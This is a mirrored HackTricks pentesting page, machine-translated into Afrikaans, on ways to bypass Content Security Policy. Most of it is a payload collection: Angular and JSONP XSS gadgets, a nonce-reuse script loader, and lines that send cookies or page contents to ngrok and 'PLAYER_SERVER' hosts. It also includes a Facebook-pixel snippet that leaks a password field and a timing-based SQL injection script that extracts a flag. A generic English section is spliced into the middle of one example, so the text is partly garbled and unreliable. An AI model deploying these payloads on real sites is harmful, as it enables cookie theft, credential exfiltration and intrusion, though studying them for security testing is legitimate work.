Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/content-security-policy-csp-bypass
History
Translator 4ee977c4e5 Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA
2024-04-07 05:33:57 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00

README.md

Inhoudsbeveiligingsbeleid (CSP) Omweg

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Andere maniere om HackTricks te ondersteun:

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutvinders van belonings!

Hakinsigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hakwerk ondersoek

Haknuus in Werklikheid
Bly op hoogte van die snelveranderende hakwêreld deur werklike nuus en insigte

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Wat is CSP

Inhoudsbeveiligingsbeleid (CSP) word erken as 'n blaaitegnologie, hoofsaaklik gemik op beskerming teen aanvalle soos kruissite-skrips (XSS). Dit funksioneer deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne behels 'n verskeidenheid elemente soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos eval, setTimeout, of setInterval.

Implementering van CSP word gedoen deur responskoppe of deur meta-elemente in die HTML-bladsy in te sluit. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.

  • Geïmplementeer via responskop:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Geïmplementeer via meta-tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Opkopies

CSP kan afgedwing of gemonitor word deur hierdie opkopies te gebruik:

  • Content-Security-Policy: Dwings die CSP af; die webblaaier blokkeer enige oortredings.
  • Content-Security-Policy-Report-Only: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.

Definiëring van Hulpbronne

CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van eval() beheer. 'n Voorbeeldbeleid is:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Riglyne

  • script-src: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanteerders of XSLT-stylblaaie.
  • default-src: Stel 'n verstekbeleid in vir die ophaal van bronne wanneer spesifieke ophaalriglyne afwesig is.
  • child-src: Spesifiseer toegelate bronne vir webwerkers en ingeslote raaminhoud.
  • connect-src: Beperk URL's wat gelaai kan word deur koppelvlakke soos fetch, WebSocket, XMLHttpRequest.
  • frame-src: Beperk URL's vir rame.
  • frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos <frame>, <iframe>, <object>, <embed>, en <applet>.
  • img-src: Definieer toegelate bronne vir afbeeldings.
  • font-src: Spesifiseer geldige bronne vir lettertipes wat gelaai word met @font-face.
  • manifest-src: Definieer toegelate bronne van aansoek-manifeslêers.
  • media-src: Definieer toegelate bronne vir die laai van media-voorwerpe.
  • object-src: Definieer toegelate bronne vir <object>, <embed>, en <applet> elemente.
  • base-uri: Spesifiseer toegelate URL's vir die laai met behulp van <base> elemente.
  • form-action: Lys geldige eindpunte vir vormindienings.
  • plugin-types: Beperk mime-tipes wat 'n bladsy mag aanroep.
  • upgrade-insecure-requests: Gee aan dat webblaaie HTTP-URL's na HTTPS moet omskryf.
  • sandbox: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n <iframe>.
  • report-to: Spesifiseer 'n groep aan wie 'n verslag gestuur sal word as die beleid oortree word.
  • worker-src: Spesifiseer geldige bronne vir Worker-, SharedWorker- of ServiceWorker-skripte.
  • prefetch-src: Spesifiseer geldige bronne vir bronne wat gelaai of voorafgelaai sal word.
  • navigate-to: Beperk die URL's waarna 'n dokument op enige manier kan navigeer (a, vorm, window.location, window.open, ens.)

Bronne

  • *: Laat alle URL's toe behalwe dié met data:, blob:, filesystem: skemas.
  • 'self': Laat laai vanaf dieselfde domein toe.
  • 'data': Laat bronne toe om gelaai te word via die data-skema (bv., Base64-geënkripteer afbeeldings).
  • 'none': Blokkeer laai vanaf enige bron.
  • 'unsafe-eval': Laat die gebruik van eval() en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.
  • 'unsafe-hashes': Stel spesifieke inline gebeurtenishanteerders in staat.
  • 'unsafe-inline': Laat die gebruik van inline bronne soos inline <script> of <style> toe, nie aanbeveel vir veiligheidsredes nie.
  • 'nonce': 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.
  • As jy beperkte JS-uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met doc.defaultView.top.document.querySelector("[nonce]") en dit dan her te gebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, dus is dit nie nodig nie), soos in:
Laai skrip deur nonce te hergebruik ```html ```
  • 'sha256-<hash>': Witlys skripte met 'n spesifieke sha256-hash.
  • 'strict-dynamic': Laat skripte van enige bron toe as dit deur 'n nonce of hash op die witlys geplaas is.
  • 'host': Spesifiseer 'n spesifieke gasheer, soos voorbeeld.com.
  • https:: Beperk URL's tot dié wat HTTPS gebruik.
  • blob:: Laat hulpbronne toe om van Blob-URL's (bv., Blob-URL's wat deur JavaScript geskep is) gelaai te word.
  • filesystem:: Laat hulpbronne toe om van die lêersisteem gelaai te word.
  • 'report-sample': Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
  • 'strict-origin': Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).
  • 'strict-origin-when-cross-origin': Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
  • 'unsafe-allow-redirects': Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.

Onveilige CSP-reëls

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Werkende lading: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Werkende lading:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

streng-dinamies

Indien jy op een of ander manier kan bewerkstellig dat toegelate JS-kode 'n nuwe skriptiket in die DOM met jou JS-kode skep, sal die nuwe skriptiket toegelaat word om uitgevoer te word, omdat 'n toegelate skrip dit skep.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Werkende lading:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Gebrek aan object-src en default-src

{% hint style="danger" %} Dit lyk of dit nie meer werk nie {% endhint %}

Content-Security-Policy: script-src 'self' ;

Werkende vragmotors:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Lêeroplaai + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Indien jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:

Werkende lading:

"/>'><script src="/uploads/picture.png.js"></script>

Echter, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer valideer en sal slegs toelaat dat jy 'n bepaalde tipe lêers oplaai.

Selfs al sou jy 'n JS-kode binne 'n lêer kon oplaai met 'n aanvaarde uitbreiding deur die bediener (soos: script.png), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die MIME-tipe van die lêer kies op grond van die uitbreiding en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Gelukkig" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat Apache nie weet van die .wave-uitbreiding nie, daarom bedien dit dit nie met 'n MIME-tipe soos audio/* nie.

Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n verkeerd geïnterpreteerde uitbreiding te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott (enkele poliglott-voorbeelde hier).

Vorm-aksie

Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld geloofsbriewe te eksfiltreer deur 'n vormaksie in te spuit (en miskien wagwoordbestuurders te verwag om wagwoorde outomaties in te vul). Jy kan 'n voorbeeld in hierdie verslag vind. Let ook daarop dat default-src nie vormaksies dek nie.

Derdeparty-eindpunte + ('unsafe-eval')

{% hint style="warning" %} Vir sommige van die volgende lading is unsafe-eval selfs nie nodig nie. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laai 'n kwesbare weergawe van Angular en voer willekeurige JS uit:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Ladingstukke wat Angular + 'n biblioteek met funksies wat die window-objek teruggee, gebruik (kyk na hierdie pos):

{% hint style="info" %} Die pos wys dat jy alle biblioteke van cdn.cloudflare.com (of enige ander toegelate JS-biblioteek-repo) kan laai, al die bygevoegde funksies van elke biblioteek kan uitvoer, en kan nagaan watter funksies van watter biblioteke die window-objek teruggee. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Bypassing Content Security Policy (CSP) using Angular XSS from a class name:

Deur Content Security Policy (CSP) te omseil met Angular XSS vanaf 'n klassenaam:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Misbruik van Google reCAPTCHA JS-kode

Volgens hierdie CTF-skryfstuk kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om willekeurige JS-kode uit te voer wat die CSP omseil:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Meer payloads van hierdie skryfstuk:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Misbruik van www.google.com vir oop omleiding

Die volgende URL rig na example.com (van hier):

https://www.google.com/amp/s/example.com/

Misbruik van *.google.com/script.google.com

Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang in 'n bladsy binne script.google.com. Soos dit gedoen word in hierdie verslag.

Derde Party Eindpunte + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Afrikaans Translation

Scenarios soos hierdie waar script-src ingestel is op self en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee bevat gereed om JSONP eindpunte te gebruik vir CSP omseiling van verskillende webwerwe.

Dieselfde kwesbaarheid sal voorkom as die vertroude eindpunt 'n Oop Herlei bevat omdat as die aanvanklike eindpunt vertrou word, is herleiings vertrou.

Derde Party Misbruik

Soos beskryf in die volgende pos, is daar baie derde party domeine, wat dalk toegelaat word in die CSP, wat misbruik kan word om data uit te sif of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:

Entiteit Toegelate Domein Vermoëns
Facebook www.facebook.com, *.facebook.com Uitsif
Hotjar *.hotjar.com, ask.hotjar.io Uitsif
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Uitvoer
Amazon CloudFront *.cloudfront.net Uitsif, Uitvoer
Amazon AWS *.amazonaws.com Uitsif, Uitvoer
Azure Webwerwe *.azurewebsites.net, *.azurestaticapps.net Uitsif, Uitvoer
Salesforce Heroku *.herokuapp.com Uitsif, Uitvoer
Google Firebase *.firebaseapp.com Uitsif, Uitvoer

As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kans groot dat jy die CSP kan omseil deur op die derde party-diens te registreer en óf data na daardie diens uit te sif óf kode uit te voer.

Byvoorbeeld, as jy die volgende CSP vind:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Content Security Policy (CSP) Bypass

Introduction

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, misconfigurations or weak policies can sometimes allow attackers to bypass CSP protections.

Bypass Techniques

  1. Inline Script Execution: Attackers can bypass CSP by executing inline scripts using techniques like dynamic script injection or event handlers.

  2. Data URI Scheme: Attackers can embed malicious code using data URI scheme to bypass CSP restrictions on loading external resources.

  3. Unsafe Inline and Eval: CSP directives like 'unsafe-inline' and 'unsafe-eval' can be exploited by attackers to execute arbitrary scripts.

Mitigation

To prevent CSP bypasses, ensure the following:

  • Avoid using 'unsafe-inline' and 'unsafe-eval' directives.
  • Use nonce-based CSP to allow specific inline scripts.
  • Implement strict policies to restrict external resource loading.
  • Regularly review and update CSP configurations to address any potential bypass vulnerabilities.
Content-Security-Policy​: connect-src www.facebook.com;​

Jy behoort in staat te wees om data uit te voer, soortgelyk aan hoe dit altyd gedoen is met Google Analytics/Google Tag Manager. In hierdie geval, volg hierdie algemene stappe:

  1. Skep 'n Facebook Ontwikkelaarrekening hier.
  2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
  3. Gaan na "Instellings -> Basies" en kry jou "App ID".
  4. Op die teikensite waarvan jy data wil uitvoer, kan jy data uitvoer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die data-lading.
  5. Gaan na jou App "Gebeurtenisbestuurder" en kies die aansoek wat jy geskep het (let op dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.

Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-sporepixel te inisieer om na die aanvaller se Facebook-ontwikkelaarrekening app-id te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Omgang via RPO (Relatiewe Pad Overskrywing)

Bo en behalwe die genoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Overskrywing (RPO) wat op sommige bedieners gebruik kan word.

Byvoorbeeld, as CSP die pad https://example.com/scripts/react/ toelaat, kan dit so omseil word:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Die browser sal uiteindelik https://example.com/scripts/angular/angular.js laai.

Dit werk omdat vir die browser, laai jy 'n lêer genaamd ..%2fangular%2fangular.js wat geleë is onder https://example.com/scripts/react/, wat voldoen aan CSP.

Dus, sal hulle dit ontsluit, effektief versoek https://example.com/scripts/react/../angular/angular.js, wat gelykstaande is aan https://example.com/scripts/angular/angular.js.

Deur hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word.

Die oplossing is om %2f nie as / aan die kant van die bediener te hanteer nie, om sodoende 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te voorkom.

Aanlyn Voorbeeld: https://jsbin.com/werevijewa/edit?html,output

Iframes JS uitvoering

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

ontbrekende base-uri

Indien die base-uri riglyn ontbreek kan jy dit misbruik om 'n dangling markup injection uit te voer.

Verder, as die bladsy 'n skrip laai deur 'n relatiewe pad te gebruik (soos <script src="/js/app.js">) deur 'n Nonce te gebruik, kan jy die base tag misbruik om dit te laat laai die skrip vanaf jou eie bediener om 'n XSS te bereik.
Indien die kwesbare bladsy met httpS gelaai word, maak gebruik van 'n httpS-url in die basis.

<base href="https://www.attacker.com/">

AngularJS gebeure

'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek $event, wat verwys na die inheemse blaaiergebeurtenisobjek. Hierdie $event objek kan benut word om die CSP te omseil. Merkwaardig, in Chrome, besit die $event/event objek 'n path eienskap, wat 'n objekreeks bevat wat betrokke is by die gebeurtenis se uitvoerketting, met die window objek wat altyd aan die einde geplaas is. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.

Deur hierdie reeks na die orderBy filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die window objek) benut kan word om 'n globale funksie soos alert() te aktiveer. Die gedemonstreerde kodefragment hieronder verduidelik hierdie proses:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Hierdie snipper lig die gebruik van die ng-focus riglyn uit om die gebeurtenis te trigger, deur $event.path|orderBy te gebruik om die path-array te manipuleer, en deur die window-objek te benut om die alert()-funksie uit te voer, wat dus document.cookie blootstel.

Vind ander Angular omleidings in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS en toegelate domein

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie git-opgaarplek.

Werkende lading:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Ander JSONP willekeurige uitvoerings-eindpunte kan gevind word in hier (sommige van hulle is verwyder of reggestel)

Omsnyding deur middel van Herleiing

Wat gebeur wanneer CSP serverkantse herleiing teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.

Tog, volgens die beskrywing in CSP spes 4.2.2.3. Paaie en Herleidings, as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.

Hier is 'n voorbeeld:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Indien CSP ingestel is op https://www.google.com/a/b/c/d, aangesien die pad oorweeg word, sal beide /test en /a/test skripte deur CSP geblokkeer word.

Nietemin, die finale http://localhost:5555/301 sal op die bedienerkant na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// omgelei word. Aangesien dit 'n omleiding is, word die pad nie oorweeg nie, en kan die skrip gelaai word, wat dus die padbeperking omseil.

Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.

Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.

Omseil CSP met hangende opmaak

Lees hoe hier.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en img-src * beteken dat jy enige beeld van enige bron op die webbladsy kan gebruik.

Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Van: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Jy kan ook hierdie konfigurasie misbruik om javascript-kode wat binne 'n afbeelding ingevoeg is te laai. As die bladsy byvoorbeeld laai vanaf Twitter toelaat, kan jy 'n spesiale afbeelding skep, dit na Twitter oplaai en die "unsafe-inline" misbruik om 'n JS-kode (soos 'n gewone XSS) uit te voer wat die afbeelding laai, die JS daaruit onttrek en uitvoer dit: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Met Dienswerkers

Dienswerkers se importScripts-funksie is nie beperk deur CSP nie:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Beleidsinspuiting

Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

As 'n parameter wat deur jou gestuur word binne die verklaring van die beleid geplak word, kan jy die beleid op 'n manier verander wat dit nutteloos maak. Jy kan skripsie 'unsafe-inline' toelaat met enige van hierdie omseilings:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Omdat hierdie riglyn bestaande script-src riglyne sal owerwrite.
Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Rand

In Rand is dit baie eenvoudiger. As jy net hierdie in die CSP kan byvoeg: ;_ Rand sou die hele beleid laat val.
Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Tyd aanval

Let op die afwesigheid van die riglyn 'unsafe-inline'
Hierdie keer kan jy die slagoffer **'n bladsy in jou beheer laat laai via XSS met 'n <iframe. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (CSRF). Jy kan nie die inhoud van die bladsy besoek nie, maar as jy op een of ander manier die tyd wat die bladsy neem om te laai kan beheer kan jy die inligting wat jy nodig het onttrek.

Hierdie keer gaan 'n vlag onttrek word, telkens wanneer 'n karakter korrek geraden word via SQLi neem die reaksie langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Boekmerklets

Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en los. Hierdie boekmerklet sou skadelike javascript-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat CSP omseil en toelaat om sensitiewe inligting soos koekies of tokens te steel.

Vir meer inligting kyk na die oorspronklike verslag hier.

CSP-omseiling deur CSP te beperk

In hierdie CTF-verslag word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed het dat 'n spesifieke JS-lêer gelaai word wat dan, via prototipe besoedeling of dom-verwringing, toegelaat het om 'n ander skripsie te misbruik om 'n willekeurige skripsie te laai.

Jy kan 'n CSP van 'n Iframe beperk met die csp-eienskap:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

In hierdie CTF writeup, was dit moontlik deur HTML inspuiting om meer te beperk 'n CSP sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en dus die kwesbaarheid vatbaar geword het vir uitbuiting.
CSP kan meer beperkend gemaak word deur HTML meta-tabelle te gebruik en inline-skripte kan gedeaktiveer word deur die verwydering van die inskrywing wat hulle nonce toelaat en spesifieke inline-skrip aktiveer via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS uitlekking met Inhoud-Sekerheidsbeleid-Net-Rapport

